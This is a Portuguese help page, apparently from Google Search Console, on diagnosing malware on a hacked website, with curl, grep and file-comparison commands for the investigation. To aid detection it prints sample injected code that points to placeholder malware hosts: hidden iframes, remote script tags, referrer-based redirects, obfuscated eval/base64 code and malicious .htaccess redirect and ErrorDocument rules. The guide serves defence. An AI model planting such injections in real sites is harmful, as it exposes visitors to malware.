Invasão com malware

Malware é qualquer software ou app para dispositivos móveis projetado especificamente para causar danos a um computador, dispositivo móvel, o software em execução ou os usuários. Para mais informações sobre o que é malware, consulte Malware e software indesejado.

Se o site tiver malware, os usuários vão receber o aviso "Este site pode danificar seu computador" nos resultados da pesquisa ou em uma página intersticial mostrada pelo navegador quando tentarem acessar o site. Por exemplo:

Página intersticial de malware representativa
Resultados da pesquisa com um aviso de malware.

Você precisará do seguinte:

  • Acesso de administrador de shell ou terminal aos servidores do site: Web, banco de dados e arquivos.
  • Conhecimento de comandos de shell ou terminal.
  • Capacidade de executar consultas SQL no banco de dados.

Preparação

  • Inscreva-se no Search Console e verifique a propriedade do site invadido, conforme descrito. O Search Console fornece uma amostra de páginas afetadas, o que facilita a localização e a correção de problemas de invasão com malware. Além disso, você vai receber um aviso quando o site for detectado como afetado por muitos tipos de malware ou outros hacks.
  • Acesse a página de diagnóstico da Navegação segura do Google para conferir informações públicas sobre se um site é potencialmente nocivo aos usuários. Você pode conferir o status da listagem da sua página ou site em um URL semelhante a este: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Por exemplo: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> pode ser um URL de página específico (http://example.com/badpage) ou todo o site (example.com).

  • Evite usar um navegador para acessar páginas no seu site. Como o malware geralmente se espalha aproveitando vulnerabilidades do navegador, abrir uma página infectada com malware em um navegador pode danificar seu computador. A menos que as instruções de diagnóstico digam para acessar a página diretamente no navegador, use cURL ou Wget para realizar solicitações HTTP (por exemplo, para buscar uma página).

    Essas ferramentas disponíveis sem custo financeiro são úteis para diagnosticar redirecionamentos e têm a flexibilidade de incluir informações do referenciador ou do user agent. A inclusão de um referenciador ou user-agent específico é útil para imitar hackers, porque eles podem veicular conteúdo malicioso apenas para usuários com user-agents ou referenciadores específicos para segmentar mais "pessoas reais" e evitar a detecção de proprietários de sites e verificadores de malware.

`curl -v --referer "http://www.google.com" <your-url>`

Confira um exemplo que especifica um user agent e um referrer:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Recomendamos buscar uma página com e sem --referer "https://www.google.com", porque alguns malwares só são ativados quando os usuários vêm dos resultados da Pesquisa Google.

  • Crie um documento para registrar os resultados desta etapa. O documento vai incluir, no mínimo, o nome e o local de cada arquivo danificado, além de anotações sobre como ele foi infectado. Ele vai servir de base para a página Limpar e manter seu site.

  • Assista o vídeo anterior desta página para saber como o malware funciona e como se proteger durante a investigação.

Diagnóstico

Determine qual malware está afetando seu site:

  1. Abra o Relatório de problemas de segurança do seu site no Search Console. Abra a descrição do aviso de malware para conferir uma lista de exemplos de páginas afetadas. Essa lista não é exaustiva. Talvez você não encontre páginas de exemplo para todos os tipos de malware no seu site.
  2. Teste as páginas de exemplo para os seguintes tipos de malware.

Malware de configuração do servidor (redirecionamentos indesejados)

Um hacker comprometeu seu site e está redirecionando os visitantes para um site invasor com malware, provavelmente modificando os arquivos de configuração do servidor. Esses arquivos geralmente permitem que o administrador do site especifique redirecionamentos de URL para páginas ou diretórios específicos de um site. Por exemplo, em servidores Apache, são usados arquivos .htaccess e httpd.conf.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório Problemas de segurança. A resposta de uma página com uma infecção do tipo "configuração do servidor" pode incluir os seguintes cabeçalhos:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Determinar os arquivos afetados

Faça login no seu servidor por meio do shell ou terminal (o site pode estar off-line, se você quiser) e analise os arquivos de configuração relevantes do servidor. Pode haver mais de um arquivo de configuração do servidor invadido no site. Verifique se esses arquivos contêm diretivas indesejadas, como redirecionamentos para sites desconhecidos. Por exemplo, no arquivo .htaccess, pode haver um redirecionamento como este:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Injeção de SQL

Um hacker comprometeu o banco de dados do seu site. Por exemplo, o hacker pode ter usado programação para inserir um código malicioso em todos os registros de uma tabela de banco de dados. Assim, quando o servidor carrega uma página que requer informações do banco de dados, o código malicioso fica incorporado ao conteúdo da página e pode prejudicar os visitantes do site.

Diagnóstico

  1. Faça algumas consultas nos URLs afetados na linha de comando e analise a resposta para procurar palavras de ataque no SQL, como "iframe" ou "eval".
  2. Faça login no servidor de banco de dados ou visualize o banco de dados por meio de uma ferramenta como o phpMyAdmin. Se você usou Wget ou cURL, tente correlacionar o dano encontrado no código-fonte da página por meio dessas ferramentas com as entradas reais do banco de dados. Por exemplo, se você notar que suas páginas incluem um iframe perigoso, execute uma consulta SQL em busca do código do iframe. Exemplo:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Também é possível verificar se há atividade incomum no registro do banco de dados e nos arquivos de erro no seu servidor, como comandos SQL inesperados que parecem anormais para usuários regulares ou que parecem erros.

Corrigir o problema

Atualize cada registro do banco de dados infectado ou restaure o último backup do banco de dados.

Injeção de código

As páginas do site foram modificadas para incluir código malicioso, como um iframe para um site invasor com malware.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório Problemas de segurança com cURL ou wGet e examine se há códigos suspeitos. O código injetado pode ter vários tipos e ser difícil de encontrar. Talvez seja útil pesquisar palavras como "iframe" para encontrar o código do iframe. Outras palavras-chave úteis são "script", "eval" e "unescape". Por exemplo, para pesquisar "iframe" em todos os arquivos em sistemas baseados em Unix:

$grep -irn "iframe" ./ | less</pre>

Confira alguns padrões de malware comuns.

Um iframe que carrega um site malicioso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript ou outra linguagem de script que chama e executa scripts de um site invasor:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Scripts que redirecionam o navegador para um site invasor:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Código malicioso ofuscado para evitar a detecção:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Arquivos de objetos compartilhados elaborados para gravar código nocivo aleatoriamente em scripts que seriam benignos:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Modelos de erro maliciosos

O modelo usado por mensagens de erro, como "404 Arquivo não encontrado", está configurado para distribuir malware. Dessa forma, os invasores podem iniciar ataques em URLs que nem sequer existem no seu site.

Diagnóstico

Solicite uma página no site que não exista ou que exiba outro tipo de erro. Em seguida, examine a resposta para verificar se ela foi enviada por outro site ou se contém malware.

Corrigir o problema

Faça login no seu servidor da Web e procure as diretrizes de página de erro nos arquivos de configuração do servidor. Por exemplo, o modelo de erro para servidores da Web Apache pode ser declarado no arquivo .htaccess. Confira um exemplo de entrada de arquivo .htaccess que recupera páginas de erro 404 de um site malicioso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Quando estiver tudo pronto para limpar seu site, substitua os arquivos .htaccess por um backup conhecido ou exclua as diretivas ErrorDocument indesejadas nos arquivos .htaccess. Não deixe de limpar os arquivos de erro reais, se eles existirem no seu site. Por fim, reinicie o servidor da Web para garantir que todas as mudanças entrem em vigor.

Recursos sendo carregados de um site comprometido ou malicioso {compromised-resources}

Seu site usa conteúdo ou recursos de um site conhecido por conter conteúdo malicioso. Eles podem ser arquivos JavaScript, imagens ou outros tipos. Por isso, seu site será sinalizado por malware carregado desse outro site.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório Problemas de segurança.

Corrigir o problema

  1. Para confirmar o problema, acesse alguns dos URLs de amostra listados no relatório Problemas de segurança no Search Console. Você vai receber um aviso do navegador.
  2. O aviso do navegador informará o domínio do conteúdo questionável. Remova todas as referências ao site sinalizado no aviso do navegador. Se o conteúdo de um site sinalizado foi incluído sem seu conhecimento, o problema é mais sério. É provável que seu site tenha sido comprometido, e você precisa continuar examinando-o para encontrar outros hacks e vulnerabilidades.
  3. Se você incluiu intencionalmente conteúdo de um site legítimo que foi sinalizado e quer incluir o conteúdo novamente depois que o site sinalizado for limpo, monitore o status do site sinalizado usando a página de diagnóstico do Google Safe Browsing para esse site (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Os proprietários de sites legítimos geralmente limpam rapidamente.

Investigação adicional

Em seguida, verifique se há outros arquivos maliciosos ou mudanças no sistema. O hacker pode ter modificado páginas ou registros de banco de dados, criado novas páginas de spam, escrito funções que mostram spam em páginas limpas ou deixado "backdoors" que permitem a entrada do hacker no seu site ou que injetam novamente código malicioso que você removeu.

Se o site estiver on-line, considere desativá-lo para essa investigação.

Se você tiver um backup conhecido do seu site, determine quais arquivos foram criados ou modificados desde o backup e investigue-os. Em sistemas baseados em Unix, use um comando como este para encontrar novos arquivos:

diff -qr <current-directory> <backup-directory>

Exemplo:

diff -qr www/ backups/full-backup-20120124/

Além disso:

md5sum <current-page> <backup-page>

Exemplo:

md5sum www/page.html backups/full-backup-20120124/page.html

Verifique se há atividades suspeitas nos registros de servidor, acesso e erro, como tentativas de login com falha, histórico de comandos (especialmente como raiz) e a criação de contas de usuário desconhecidas. O hacker pode ter alterado esses registros para atender às próprias finalidades. Alguns exemplos são mostrados no vídeo de Identificar a vulnerabilidade.

Confira se há redirecionamentos nos arquivos de configuração. Os arquivos de configuração geralmente são chamados de .htaccess e httpd.conf. Os hackers geralmente criam redirecionamentos condicionais com base no user-agent, horário do dia ou referenciador. Se você precisar atualizar arquivos de configuração, talvez seja necessário reiniciar o servidor para que as mudanças entrem em vigor.

Verifique se há permissões excessivas para pastas e arquivos. Os hackers manipulam as permissões porque, se permissões lenientes não forem detectadas pelo proprietário do site, o hacker terá uma maneira de entrar novamente no site. Arquivos maiores que 644 (rw-r--r--) e pastas maiores que 755 (rwxr-xr-x) podem causar problemas de segurança. Certifique-se de que todas as permissões mais abrangentes são realmente necessárias. Em sistemas baseados em Unix, tente:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

e:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Se você tiver um banco de dados, investigue registro por registro usando uma ferramenta como o phpMyAdmin.